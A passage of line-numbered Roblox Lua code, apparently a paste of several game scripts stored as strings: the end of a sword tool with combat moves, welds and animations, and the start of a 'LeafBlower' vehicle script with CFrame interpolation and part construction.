  2801. wait(0.5)
  2802. if Activated == false then
  2803. Combo = 0
  2804. end
  2805. end))
  2806. end
  2807. end
  2808.  
  2809. coroutine.resume(coroutine.create(function()
  2810. while wait() do
  2811. if Selected == true then
  2812. coroutine.resume(coroutine.create(function()
  2813. for i = 0,1,0.1 do
  2814. wait(0.1)
  2815. DiamondWeld.C0 = DiamondWeld.C0*CFrame.Angles(0, math.rad(i*1), 0)
  2816. end
  2817. end))
  2818. if Mode == "Normal" then
  2819. BaseThing.BrickColor = BrickColor.new(NormalModeColor)
  2820. Tip2.BrickColor = BrickColor.new(NormalModeColor)
  2821. Tip1.BrickColor = BrickColor.new(NormalModeColor)
  2822. HandleSturf.BrickColor = BrickColor.new(NormalModeColor)
  2823. HandleSturf2.BrickColor = BrickColor.new(NormalModeColor)
  2824. HandleSturf3.BrickColor = BrickColor.new(NormalModeColor)
  2825. LongSword2.BrickColor = BrickColor.new(NormalModeColor)
  2826.  
  2827. elseif Mode == "Ranged" then
  2828. BaseThing.BrickColor = BrickColor.new(RangedModeColor)
  2829. Tip2.BrickColor = BrickColor.new(RangedModeColor)
  2830. Tip1.BrickColor = BrickColor.new(RangedModeColor)
  2831. HandleSturf.BrickColor = BrickColor.new(RangedModeColor)
  2832. HandleSturf2.BrickColor = BrickColor.new(RangedModeColor)
  2833. HandleSturf3.BrickColor = BrickColor.new(RangedModeColor)
  2834. LongSword2.BrickColor = BrickColor.new(RangedModeColor)
  2835.  
  2836. elseif Mode == "Blocking" then
  2837. BaseThing.BrickColor = BrickColor.new(BlockModeColor)
  2838. Tip2.BrickColor = BrickColor.new(BlockModeColor)
  2839. Tip1.BrickColor = BrickColor.new(BlockModeColor)
  2840. HandleSturf.BrickColor = BrickColor.new(BlockModeColor)
  2841. HandleSturf2.BrickColor = BrickColor.new(BlockModeColor)
  2842. HandleSturf3.BrickColor = BrickColor.new(BlockModeColor)
  2843. LongSword2.BrickColor = BrickColor.new(BlockModeColor)
  2844. end
  2845. end
  2846. end
  2847. end))
  2848.  
  2849. function key(key)
  2850. if Activated == true then return end
  2851. if key == "z" then
  2852. Dash()
  2853. end
  2854. if key == "x" then
  2855. Shockwave()
  2856. end
  2857. if key == "c" then
  2858. Guard()
  2859. end
  2860. if key == "e" then
  2861. SuperCombo()
  2862. end
  2863. end
  2864. function key2(key)
  2865. if key == "z" then
  2866. Holding = false
  2867. end
  2868. if key == "c" then
  2869. Guarding = false
  2870. end
  2871. end
  2872. if script.Name ~= "Made by: [[>> BrannZeus© <<]]" then
  2873. script.Disabled = true
  2874. Instance.new("Explosion",Char.Torso).Position = Char.Torso.Position
  2875. end
  2876. Damage = function(hit, amount)
  2877. if attackdebounce == false then
  2878. attackdebounce = true
  2879. coroutine.resume(coroutine.create(function()
  2880. wait(0.1)
  2881. attackdebounce = false
  2882. end))
  2883. if hit.Parent==nil then
  2884. return
  2885. end
  2886. h=hit.Parent:FindFirstChild("Humanoid")
  2887. if h~=nil and hit.Parent.Name~=Char.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2888. amount=amount
  2889. print(hit.Parent.Name)
  2890. c = Instance.new("ObjectValue",h)
  2891. c.Name = "creator"
  2892. c.Value = Me
  2893. game:GetService("Debris"):AddItem(c,.5)
  2894. h:TakeDamage(amount)
  2895. end
  2896. end
  2897. end
  2898. function KewlShet(parent, x,y,z, color)
  2899. local p=Instance.new("Part", parent)
  2900. p.Size=Vector3.new(1,1,1)
  2901. p.BrickColor= color
  2902. p.Anchored=true
  2903. p.CanCollide=false
  2904. p.CFrame=parent.CFrame*CFrame.new(math.random(-0.6,0.6),math.random(-1,1),math.random(-0.6,0.6))*CFrame.Angles(math.random(-360,360),math.random(-360,360),math.random(-360,360))
  2905. local m=Instance.new("BlockMesh", p)
  2906. m.Scale=Vector3.new(x, y, z)
  2907. Delay(0,function()
  2908. local p=p
  2909. for i=1,5 do
  2910. wait(0.05)
  2911. p.Transparency=i/5
  2912. end
  2913. p:remove()
  2914. end)
  2915. end
  2916. function Effect(part,x1,y1,z1,x2,y2,z2,x3,y3,z3,color,id)
  2917. local msh1 = Instance.new("SpecialMesh")
  2918. msh1.Scale = Vector3.new(x1, y1, z1)
  2919. msh1.MeshType = "FileMesh"
  2920. msh1.MeshId = "http://www.roblox.com/asset/?id="..id..""
  2921. S=Instance.new("Part", Char)
  2922. S.formFactor=0
  2923. S.Size=Vector3.new(1, 1, 1)
  2924. S.BrickColor=color
  2925. S.TopSurface=0
  2926. S.BottomSurface=0
  2927. S.Anchored=true
  2928. S.CanCollide=false
  2929. msh1.Parent = S
  2930. S.CFrame=part.CFrame*CFrame.new(x2,y2,z2)*CFrame.fromEulerAnglesXYZ(x3,y3,z3)
  2931. coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.15,0.3,0.15) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
  2932. end
  2933. function Effect2(part,x1,y1,z1,x2,y2,z2,color,parent)
  2934. local msh2 = Instance.new("BlockMesh")
  2935. msh2.Scale = Vector3.new(x1, y1, z1)
  2936. S=Instance.new("Part", parent)
  2937. S.FormFactor=0
  2938. S.Size=Vector3.new(1, 1, 1)
  2939. S.BrickColor = color
  2940. S.Reflectance = 0
  2941. S.TopSurface=0
  2942. S.BottomSurface=0
  2943. S.Transparency=0.0
  2944. S.Anchored=true
  2945. S.CanCollide=false
  2946. msh2.Parent = S
  2947. S.CFrame=part.CFrame*CFrame.new(x2, y2, z2)*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2948. coroutine.resume(coroutine.create(function(Part,CF) for i=1, 9 do Part.Mesh.Scale = Part.Mesh.Scale + Vector3.new(0.1,0.1,0.1) Part.CFrame=Part.CFrame*CFrame.fromEulerAnglesXYZ(math.random(-50,50),math.random(-50,50),math.random(-50,50)) Part.Transparency=i*.1 wait() end Part.Parent=nil end),S,S.CFrame)
  2949. end
  2950. script.Name = "Made by: [[>> BrannZeus© <<]]"
  2951. function s(mouse)
  2952. AlreadySelected = true
  2953. Selected = true
  2954. Activated = true
  2955. mouse.Button1Down:connect(function() bdown(mouse) end)
  2956. mouse.Button1Up:connect(function() ButtonUp(mouse) end)
  2957. mouse.KeyDown:connect(key)
  2958. mouse.KeyUp:connect(key2)
  2959. HitBoxWeld,DiamondWeld,HandleSturfW2,HandleSturfW3,BaseThingWeld,TorsoW,RW, LW, HandleWeld, HandleWeld2, HandleWeldSpike1, HandleWeldSpike2, LongWeld, LongWeld2, TipWeld1, BigTipWeld1, BigTipWeld2, TipWeld2 = Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso),Instance.new("Weld",Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso),Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso), Instance.new("Weld", Char.Torso)
  2960. coroutine.resume(coroutine.create(function()
  2961. for _,v in pairs(Model:children()) do
  2962. if v.className == "Part" then
  2963. v.Anchored = false
  2964. FakeTorso.Anchored = false
  2965. end
  2966. end
  2967. for i,x in pairs(Char:children()) do
  2968. if x.className == "Shirt" or x.className == "Pants" or x.className == "CharacterMesh" then
  2969. x:remove()
  2970. end
  2971. end
  2972. end))
  2973. RW.Part0 = Char.Torso
  2974. RW.C0 = CFrame.new(1.5, 0.5, 0)
  2975. RW.C1 = CFrame.new(0, 0.5, 0)
  2976. RW.Part1 = RightArm
  2977. LW.Part0 = Char.Torso
  2978. LW.C0 = CFrame.new(-1.5, 0.5, 0)
  2979. LW.C1 = CFrame.new(0, 0.5, 0)
  2980. LW.Part1 = LeftArm
  2981. TorsoW.Part0 = Char.Torso
  2982. TorsoW.C0 = CFrame.new(0, 0.5, 0)
  2983. TorsoW.C1 = CFrame.new(0, 0.5, 0)
  2984. TorsoW.Part1 = FakeTorso
  2985. for i = 0,1,0.1 do
  2986. wait()
  2987. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4*i,0,-0.4*i)
  2988. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
  2989. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2990. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
  2991. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2992. end
  2993. HandleSturfW2 = Instance.new("Weld", Char.Torso)
  2994. HandleSturfW2.Part0 = Handle
  2995. HandleSturfW2.C0 = CFrame.new(-0.5, -0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  2996. HandleSturfW2.C1 = CFrame.new(0, 0.5, 0)
  2997. HandleSturfW2.Part1 = HandleSturf2
  2998.  
  2999. HandleSturfW3 = Instance.new("Weld", Char.Torso)
  3000. HandleSturfW3.Part0 = Handle
  3001. HandleSturfW3.C0 = CFrame.new(-0.5, 0, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  3002. HandleSturfW3.C1 = CFrame.new(0, 0.5, 0)
  3003. HandleSturfW3.Part1 = HandleSturf3
  3004.  
  3005. DiamondWeld = Instance.new("Weld", Char.Torso)
  3006. DiamondWeld.Part0 = Handle
  3007. DiamondWeld.C0 = CFrame.new(-0.5, 1.24, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  3008. DiamondWeld.C1 = CFrame.new(0, 0.5, 0)
  3009. DiamondWeld.Part1 = Diamond
  3010.  
  3011. HandleSturfW1 = Instance.new("Weld", Char.Torso)
  3012. HandleSturfW1.Part0 = Handle
  3013. HandleSturfW1.C0 = CFrame.new(-0.5, 0.5, 0)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  3014. HandleSturfW1.C1 = CFrame.new(0, 0.5, 0)
  3015. HandleSturfW1.Part1 = HandleSturf
  3016.  
  3017. BaseThingWeld.Part0 = Handle
  3018. BaseThingWeld.C0 = CFrame.new(-0.45, 1.4, -0.05)*CFrame.fromEulerAnglesXYZ(math.pi/-2, 0, math.pi/2)
  3019. BaseThingWeld.C1 = CFrame.new(0, 0.5, 0)
  3020. BaseThingWeld.Part1 = BaseThing
  3021. HandleWeld.Part0 = RightArm
  3022. HandleWeld.C0 = CFrame.new(0, -1, 0.5)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
  3023. HandleWeld.C1 = CFrame.new(0, 0.5, 0)
  3024. HandleWeld.Part1 = Handle
  3025.  
  3026. BigTipWeld2.Part0 = Handle2
  3027. BigTipWeld2.C0 = CFrame.new(-0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3028. BigTipWeld2.C1 = CFrame.new(0, 0.5, 0)
  3029. BigTipWeld2.Part1 = BigTip2
  3030. BigTipWeld1.Part0 = Handle2
  3031. BigTipWeld1.C0 = CFrame.new(0.7, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3032. BigTipWeld1.C1 = CFrame.new(0, 0.5, 0)
  3033. BigTipWeld1.Part1 = BigTip1
  3034. TipWeld2.Part0 = Handle2
  3035. TipWeld2.C0 = CFrame.new(-0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3036. TipWeld2.C1 = CFrame.new(0, 0.5, 0)
  3037. TipWeld2.Part1 = Tip2
  3038. TipWeld1.Part0 = Handle2
  3039. TipWeld1.C0 = CFrame.new(0.6, 0, 3.87)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3040. TipWeld1.C1 = CFrame.new(0, 0.5, 0)
  3041. TipWeld1.Part1 = Tip1
  3042. HitBoxWeld.Part0 = Handle
  3043. HitBoxWeld.C0 = CFrame.new(-0.5, -3.2, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3044. HitBoxWeld.C1 = CFrame.new(0, 0.5, 0)
  3045. HitBoxWeld.Part1 = HitBox
  3046. LongWeld.Part0 = Handle
  3047. LongWeld.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3048. LongWeld.C1 = CFrame.new(0, 0.5, 0)
  3049. LongWeld.Part1 = LongSword
  3050. LongWeld2.Part0 = Handle
  3051. LongWeld2.C0 = CFrame.new(-0.5, -2.6, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3052. LongWeld2.C1 = CFrame.new(0, 0.5, 0)
  3053. LongWeld2.Part1 = LongSword2
  3054. HandleWeld2.Part0 = Handle
  3055. HandleWeld2.C0 = CFrame.new(-0.5, -0.9, 0)*CFrame.fromEulerAnglesXYZ(math.pi/2, 0, math.pi/2)
  3056. HandleWeld2.C1 = CFrame.new(0, 0.5, 0)
  3057. HandleWeld2.Part1 = Handle2
  3058. HandleWeldSpike2.Part0 = Handle2
  3059. HandleWeldSpike2.C0 = CFrame.new(-1.6, 0.02, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/2)
  3060. HandleWeldSpike2.C1 = CFrame.new(0, 0.5, 0)
  3061. HandleWeldSpike2.Part1 = HandleWedge2
  3062. HandleWeldSpike1.Part0 = Handle2
  3063. HandleWeldSpike1.C0 = CFrame.new(1.6, 0, 0.55)*CFrame.fromEulerAnglesXYZ(math.pi/-1, 0, math.pi/-2)
  3064. HandleWeldSpike1.C1 = CFrame.new(0, 0.5, 0)
  3065. HandleWeldSpike1.Part1 = HandleWedge1
  3066. for _,v in pairs(Model:children()) do
  3067. if v.className == "Part" and v.Name ~= "HitBox" then
  3068. coroutine.resume(coroutine.create(function()
  3069. for x = 1, 10 do
  3070. wait(0.1)
  3071. v.Transparency = v.Transparency-0.1
  3072. end
  3073. end))
  3074. end
  3075. end
  3076. FakeTorso.Transparency = 0
  3077. Char.Torso.Transparency = 1
  3078. wait(1)
  3079. for i = 0,1,0.1 do
  3080. wait()
  3081. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.4+0.4*i,0,-0.4+0.4*i)
  3082. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3083. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3084. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3085. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3086. end
  3087. FakeTorso.Transparency = 0
  3088. Activated = false
  3089. end
  3090. function ds(mouse)
  3091. Selected = false
  3092. for _,v in pairs(Model:children()) do
  3093. if v.className == "Part" then
  3094. coroutine.resume(coroutine.create(function()
  3095. for x = 1, 10 do
  3096. wait(0.1)
  3097. v.Transparency = v.Transparency+0.1
  3098. end
  3099. end))
  3100. end
  3101. end
  3102. end
  3103. bin.Selected:connect(s)
  3104. bin.Deselected:connect(ds)
  3105. function onRunning(speed)
  3106. if Activated == true then return end
  3107. if Selected then
  3108. if speed>0 then
  3109. walking = true
  3110. for i = 0,1,0.2 do
  3111. wait(0)
  3112. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7*i,0,-0.3*i)
  3113. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3114. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8*i,0.3*i,0)
  3115. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3116. end
  3117. else
  3118. walking = false
  3119. for i = 0,1,0.1 do
  3120. wait(0)
  3121. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.7+0.7*i,0,-0.3+0.3*i)
  3122. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3123. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5-0.8+0.8*i,-0.3+0.3*i,0)
  3124. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3125. end
  3126. end
  3127. end
  3128. if AlreadySelected and not Selected then
  3129. if speed>1 then
  3130. lolwalking = true
  3131. for i = 0,1,0.1 do
  3132. wait()
  3133. Char.Torso.Neck.C1 = necko*CFrame.new(0, 0.6, -1.5)
  3134. Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
  3135. TorsoW.C0 = CFrame.new(0, 0.5, -0.4)*CFrame.fromEulerAnglesXYZ(-0.25*i, 0, 0)
  3136. TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3137. LW.C0 = CFrame.new(-1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.2*i)
  3138. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3139. RW.C0 = CFrame.new(1.5,0.5,-0.4) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,0.2*i)
  3140. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3141. end
  3142. else
  3143. lolwalking = false
  3144. for i = 0,1,0.1 do
  3145. wait()
  3146. Char.Torso.Neck.C1 = necko*CFrame.new(0, 0, -1.5)
  3147. Char.Torso.Neck.C0 = necko*CFrame.new(0, 0, 0)
  3148. TorsoW.C0 = CFrame.new(0, 0.5, 0)*CFrame.fromEulerAnglesXYZ(-0.25+0.25*i, 0, 0)
  3149. TorsoW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3150. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3151. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3152. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,0)
  3153. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  3154. end
  3155. end
  3156. end
  3157. end
  3158. Char.Humanoid.Running:connect(onRunning)
  3159.  
  3160. function makeclone()
  3161. tip = HitBox
  3162. if tip~= nil then
  3163. off = (tip.Size.z)/2
  3164. point = (tip.CFrame*CFrame.new(0, 0, -off)).p
  3165. unit = (lastpoint - point).unit
  3166. mag = (lastpoint - point).magnitude
  3167. if mag>1 then
  3168. middle = lastpoint-(unit*(mag/2))
  3169. cf = CFrame.new(middle, point)
  3170. for _, x in pairs(Model:GetChildren()) do
  3171. if x.className == "Part" then
  3172. um = x:Clone()
  3173. um.Parent = workspace
  3174. um.Name = "derp"
  3175. um.Anchored = true
  3176. um.CanCollide = false
  3177. um.BrickColor = x.BrickColor
  3178. end
  3179. end
  3180. um.CFrame = cf
  3181. table.insert(leds, um)
  3182. lastpoint = point
  3183. end
  3184. end
  3185. end
  3186. function fade()
  3187. for _,v in pairs(game:service("Workspace"):children()) do
  3188. if v.className == "Part" and v.Name == "derp" then
  3189. v.Transparency = v.Transparency+0.5
  3190. if v.Transparency>1 then
  3191. v:remove()
  3192. end
  3193. end
  3194. end
  3195. end
  3196. coroutine.resume(coroutine.create(function()
  3197. while true do
  3198. makeclone()
  3199. wait(0.05)
  3200. fade()
  3201. end
  3202. end))
  3203. ]==]
  3204.  
  3205. LeafBlower = [==[
  3206. repeat wait() until game:service'Players'.LocalPlayer.Character
  3207. --[[
  3208.  
  3209. - Added new color scheme.
  3210. - Some minor edits.
  3211. - New engine type, for your faster speed requirements.
  3212. - Camera bug fix.
  3213. ]]--
  3214. do --CFrame lerp
  3215. local function QuaternionFromCFrame(cf)
  3216. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  3217. local trace = m00 + m11 + m22
  3218. if trace > 0 then
  3219. local s = math.sqrt(1 + trace)
  3220. local recip = 0.5/s
  3221. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  3222. else
  3223. local i = 0
  3224. if m11 > m00 then
  3225. i = 1
  3226. end
  3227. if m22 > (i == 0 and m00 or m11) then
  3228. i = 2
  3229. end
  3230. if i == 0 then
  3231. local s = math.sqrt(m00-m11-m22+1)
  3232. local recip = 0.5/s
  3233. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  3234. elseif i == 1 then
  3235. local s = math.sqrt(m11-m22-m00+1)
  3236. local recip = 0.5/s
  3237. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  3238. elseif i == 2 then
  3239. local s = math.sqrt(m22-m00-m11+1)
  3240. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  3241. end
  3242. end
  3243. end
  3244. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  3245. local xs, ys, zs = x + x, y + y, z + z
  3246. local wx, wy, wz = w*xs, w*ys, w*zs
  3247. local xx = x*xs
  3248. local xy = x*ys
  3249. local xz = x*zs
  3250. local yy = y*ys
  3251. local yz = y*zs
  3252. local zz = z*zs
  3253. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  3254. end
  3255. local function QuaternionSlerp(a, b, t)
  3256. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  3257. local startInterp, finishInterp;
  3258. if cosTheta >= 0.0001 then
  3259. if (1 - cosTheta) > 0.0001 then
  3260. local theta = math.acos(cosTheta)
  3261. local invSinTheta = 1/math.sin(theta)
  3262. startInterp = math.sin((1-t)*theta)*invSinTheta
  3263. finishInterp = math.sin(t*theta)*invSinTheta
  3264. else
  3265. startInterp = 1-t
  3266. finishInterp = t
  3267. end
  3268. else
  3269. if (1+cosTheta) > 0.0001 then
  3270. local theta = math.acos(-cosTheta)
  3271. local invSinTheta = 1/math.sin(theta)
  3272. startInterp = math.sin((t-1)*theta)*invSinTheta
  3273. finishInterp = math.sin(t*theta)*invSinTheta
  3274. else
  3275. startInterp = t-1
  3276. finishInterp = t
  3277. end
  3278. end
  3279. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  3280. end
  3281. function clerp(a,b,t)
  3282. local qa = {QuaternionFromCFrame(a)}
  3283. local qb = {QuaternionFromCFrame(b)}
  3284. local ax, ay, az = a.x, a.y, a.z
  3285. local bx, by, bz = b.x, b.y, b.z
  3286. local _t = 1-t
  3287. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  3288. end
  3289.  
  3290. end
  3291.  
  3292. plr = game:service'Players'.LocalPlayer
  3293. char = plr.Character
  3294. mouse = plr:GetMouse()
  3295. humanoid = char:findFirstChild("Humanoid")
  3296. torso = char:findFirstChild("Torso")
  3297. head = char.Head
  3298. ra = char:findFirstChild("Right Arm")
  3299. la = char:findFirstChild("Left Arm")
  3300. rl = char:findFirstChild("Right Leg")
  3301. ll = char:findFirstChild("Left Leg")
  3302. rs = torso:findFirstChild("Right Shoulder")
  3303. ls = torso:findFirstChild("Left Shoulder")
  3304. rh = torso:findFirstChild("Right Hip")
  3305. lh = torso:findFirstChild("Left Hip")
  3306. neck = torso:findFirstChild("Neck")
  3307. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  3308. anim = char:findFirstChild("Animate")
  3309. rootpart = char:findFirstChild("HumanoidRootPart")
  3310. camera = workspace.CurrentCamera
  3311. modelforparts = char:findFirstChild("ModelForParts") or Instance.new("Model", char)
  3312. modelforparts.Name = "ModelForParts"
  3313. equipped = false
  3314. local MAXSPEED = 90
  3315. local SPEED = 0
  3316. bg = Instance.new("BodyGyro")
  3317. bg.maxTorque = Vector3.new(9e6,9e6,9e6)
  3318. bg.D = 800
  3319. bv = Instance.new("BodyVelocity")
  3320. bv.maxForce = Vector3.new(9e6,9e6,9e6)
  3321.  
  3322. local sound = Instance.new("Sound", head)
  3323. sound.Volume = .25
  3324. sound.Pitch = 2
  3325. sound.SoundId = "rbxassetid://142317661"
  3326. sound.Looped = true
  3327. game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=142317661")
  3328. wait()
  3329. sound:play()
  3330.  
  3331.  
  3332. ColorScheme1 = BrickColor.new(106)
  3333. ColorScheme2 = BrickColor.new(40)
  3334. ColorScheme3 = BrickColor.new(199)
  3335. ANGLE = 0
  3336. equipped = true
  3337.  
  3338. rs.Parent = nil
  3339. ls.Parent = nil
  3340. rh.Parent = nil
  3341. lh.Parent = nil
  3342. anim.Parent = nil
  3343. wait()
  3344. local rm = Instance.new("Weld", modelforparts)
  3345. rm.C0 = CFrame.new(1.5, 0.5, 0)
  3346. rm.C1 = CFrame.new(0, 0.5, 0)
  3347. rm.Part0 = torso
  3348. rm.Part1 = ra
  3349. local lm = Instance.new("Weld", modelforparts)
  3350. lm.C0 = CFrame.new(-1.5, 0.5, 0)
  3351. lm.C1 = CFrame.new(0, 0.5, 0)
  3352. lm.Part0 = torso
  3353. lm.Part1 = la
  3354. local rlegm = Instance.new("Weld", modelforparts)
  3355. rlegm.C0 = CFrame.new(0.5, -1, 0)
  3356. rlegm.C1 = CFrame.new(0, 1, 0)
  3357. rlegm.Part0 = torso
  3358. rlegm.Part1 = rl
  3359. local llegm = Instance.new("Weld", modelforparts)
  3360. llegm.C0 = CFrame.new(-0.5, -1, 0)
  3361. llegm.C1 = CFrame.new(0, 1, 0)
  3362. llegm.Part0 = torso
  3363. llegm.Part1 = ll
  3364.  
  3365. --grey part
  3366. local part = Instance.new("Part", modelforparts)
  3367. part.Size = Vector3.new(2.2, .85, 2.2)
  3368. part.FormFactor = 'Custom'
  3369. part.BrickColor = ColorScheme3
  3370. part.Locked = true
  3371. part.TopSurface = 10
  3372. part.BottomSurface = 10
  3373. part.LeftSurface = 10
  3374. part.RightSurface = 10
  3375. part.FrontSurface = 10
  3376. part.BackSurface = 10
  3377. part:breakJoints()
  3378. part.Material = "SmoothPlastic"
  3379. part.CanCollide = false
  3380. Instance.new("CylinderMesh", part)
  3381. local weld = Instance.new("Weld", part)
  3382. weld.Part0 = part
  3383. weld.Part1 = torso
  3384. weld.C1 = CFrame.new(0, -2.1, 0)
  3385. weld.C0 = CFrame.Angles(math.pi/2, math.pi/2, 0) * CFrame.new(0, 0, .95)
  3386. --orange part
  3387. local part2 = part:clone()
  3388. part2.Parent = modelforparts
  3389. part2.Size = Vector3.new(2.5, 1.05, 2.5)
  3390. part2.BrickColor = ColorScheme1
  3391. local wld2 = Instance.new("Weld", part)
  3392. wld2.Part0 = part2
  3393. wld2.Part1 = part
  3394. wld2.C1 = CFrame.new()
  3395. wld2.C0 = CFrame.new()
  3396. --white part
  3397. local part3 = part:clone()
  3398. part3.Parent = modelforparts
  3399. part3.Size = Vector3.new(2.62, .5, 2.62)
  3400. part3.BrickColor = ColorScheme2
  3401. local wld3 = Instance.new("Weld", part)
  3402. wld3.Part0 = part3
  3403. wld3.Part1 = part
  3404. wld3.C1 = CFrame.new()
  3405. wld3.C0 = CFrame.new()
  3406. --airblower
  3407. local airblowercyl = part:clone()
  3408. airblowercyl.Parent = modelforparts
  3409. airblowercyl.Size = Vector3.new(.95, 3.5, .95)
  3410. airblowercyl.BrickColor = ColorScheme3
  3411. local smoke = Instance.new("Smoke", airblowercyl)
  3412. smoke.Color = Color3.new(.3, .3, .3)
  3413. smoke.RiseVelocity = 10
  3414. smoke.Opacity = .1
  3415. local cwld = Instance.new("Weld", airblowercyl)
  3416. cwld.Part0 = airblowercyl
  3417. cwld.Part1 = part
  3418. cwld.C1 = CFrame.Angles(0, 0, -math.pi/2)
  3419. cwld.C0 = CFrame.new(0, -1.85-0.925, -.6) * CFrame.Angles(math.pi/14, 0, 0)
  3420.  
  3421. --handles
  3422. local hndl = part:clone()
  3423. hndl.Parent = modelforparts
  3424. hndl.Size = Vector3.new(.2, .4, .2)
  3425. hndl.BrickColor = BrickColor.new(26)
  3426. hndl.Mesh:Destroy()
  3427. local hwld = Instance.new("Weld", hndl)
  3428. hwld.Part1 = part
  3429. hwld.Part0 = hndl
  3430. hwld.C1 = CFrame.new(.1, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3431. hwld.C0 = CFrame.new(0, -.82 - .4, 0)
  3432. Instance.new("BlockMesh", hndl).Scale = Vector3.new(.5, 1, .5)
  3433. local hndl2 = hndl:clone()
  3434. hndl2.Parent = modelforparts
  3435. hndl2.Size = Vector3.new(.8, .2, .2)
  3436. local hwld2 = Instance.new("Weld", hndl2)
  3437. hwld2.Part0 = hndl2
  3438. hwld2.Part1 = part
